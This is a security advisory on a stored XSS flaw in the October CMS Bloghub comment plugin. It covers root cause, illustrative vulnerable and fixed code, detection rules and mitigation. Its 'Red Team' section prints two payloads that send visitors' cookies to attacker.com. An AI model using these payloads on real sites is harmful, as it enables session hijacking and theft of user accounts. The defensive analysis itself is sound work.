CVE-2024-25837

Executive Summary

CVE-2024-25837 is a stored cross-site scripting (XSS) vulnerability discovered in the October CMS Bloghub Plugin, version 1.3.8 and lower. The flaw resides in the Comments section, where an attacker can inject arbitrary web scripts or HTML via a crafted payload. This allows for persistent client-side attacks against any user viewing the compromised comment, including administrators. The vulnerability has a CVSS base score of 6.1 (Medium), with a vector emphasizing network access, low attack complexity, no privileges required, and user interaction. No public exploit code or proof-of-concept has been released, and the vendor has not provided a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for sites using the plugin.

Supply Chain & Package Security

This vulnerability affects a third-party plugin for October CMS, not the core CMS itself. The plugin is distributed via the October CMS marketplace and Composer. There is no known compromise of the plugin’s package registry or signing keys. However, the lack of a patch and vendor responsiveness increases supply chain risk for organizations relying on this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must view the comment
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for any site using the plugin. An attacker can persistently target users, including administrators, potentially leading to session hijacking, defacement, or phishing.

Deep Dive & Mechanics

The vulnerability exists in the Bloghub plugin’s comment submission handler. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the browser. Specifically, the content field of a comment is not filtered for HTML or JavaScript, allowing an attacker to submit a comment containing malicious scripts.

Attack Flow:

1. Attacker navigates to a blog post with the Bloghub comment form.
2. Attacker submits a comment containing a payload such as <script>alert('XSS')</script>.
3. The plugin stores the payload in the database without sanitization.
4. When any user (including admin) views the blog post, the payload is rendered in the browser, executing the script.
5. The script can steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.

Root Cause: The plugin likely uses a function like raw() or |raw in Twig templates without prior escaping, or it stores the comment content without applying htmlspecialchars() or equivalent.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP - CommentController.php):

public function store(Request $request)
{
    $comment = new Comment();
    $comment->content = $request->input('content');
    $comment->save();
    // ...
}

Patched Code (PHP - CommentController.php):

public function store(Request $request)
{
    $comment = new Comment();
    $comment->content = htmlspecialchars($request->input('content'), ENT_QUOTES, 'UTF-8');
    $comment->save();
    // ...
}

Vulnerable Template (Twig - comment.htm):

<div class="comment-content">
    {{ comment.content|raw }}
</div>

Patched Template (Twig - comment.htm):

<div class="comment-content">
    {{ comment.content }}
</div>

Exploitation & Lab Setup

Red Team

Prerequisites:

• October CMS instance with Bloghub plugin v1.3.8 installed.
• A blog post with comments enabled.

Exploitation Steps:

1. Navigate to a blog post.
2. Submit a comment with the following payload in the comment body:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Wait for an administrator or user to view the blog post.
4. The victim’s cookies are exfiltrated to the attacker’s server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor web server logs for requests containing <script> or onerror in the comment submission POST data.
• Use WAF rules to block common XSS patterns in comment fields.

Mitigation:

• Disable the Bloghub plugin until a patch is available.
• Implement a reverse proxy with XSS filtering (e.g., ModSecurity).
• Apply a virtual patch by overriding the plugin’s controller to sanitize input.

Lab Setup:

• Use a local October CMS instance with Docker.
• Install Bloghub plugin v1.3.8 via Composer.
• Simulate attack using Burp Suite or cURL.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • POST requests to /bloghub/comment/store with suspicious payloads.

• File IOCs:

  • Modified database entries in the bloghub_comments table with HTML/JavaScript in the content column.

• Log IOCs:

  • Web server logs showing script tags in the content parameter.
  • Error logs from October CMS indicating failed template rendering.

Detection Engineering

YARA Rule

rule CVE_2024_25837_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting October CMS Bloghub plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25837"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in October CMS Bloghub Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in comment submissions to October CMS Bloghub plugin
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: '/bloghub/comment/store'
        cs-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in comments (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25837 Stored XSS in October CMS Bloghub Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/bloghub/comment/store"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Bloghub plugin until a patch is released.
2. Apply a virtual patch using a Web Application Firewall (WAF) to block XSS patterns in comment fields.
3. Manually sanitize input by editing the plugin’s controller (if possible) to use htmlspecialchars() on comment content.

Long-term Actions:

• Monitor the October CMS marketplace for an updated version of the plugin.
• Consider migrating to an alternative commenting plugin that is actively maintained.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround Code (Override Plugin Controller): Create a plugin that extends the Bloghub controller and sanitizes input:

use October\Rain\Support\Facades\Event;
use Bloghub\Controllers\Comments;

Event::listen('backend.page.beforeDisplay', function ($controller) {
    if ($controller instanceof Comments) {
        $controller->bindEvent('store.before', function ($data) {
            $data['content'] = htmlspecialchars($data['content'], ENT_QUOTES, 'UTF-8');
            return $data;
        });
    }
});

Valters IT
Securing Digital Frontiers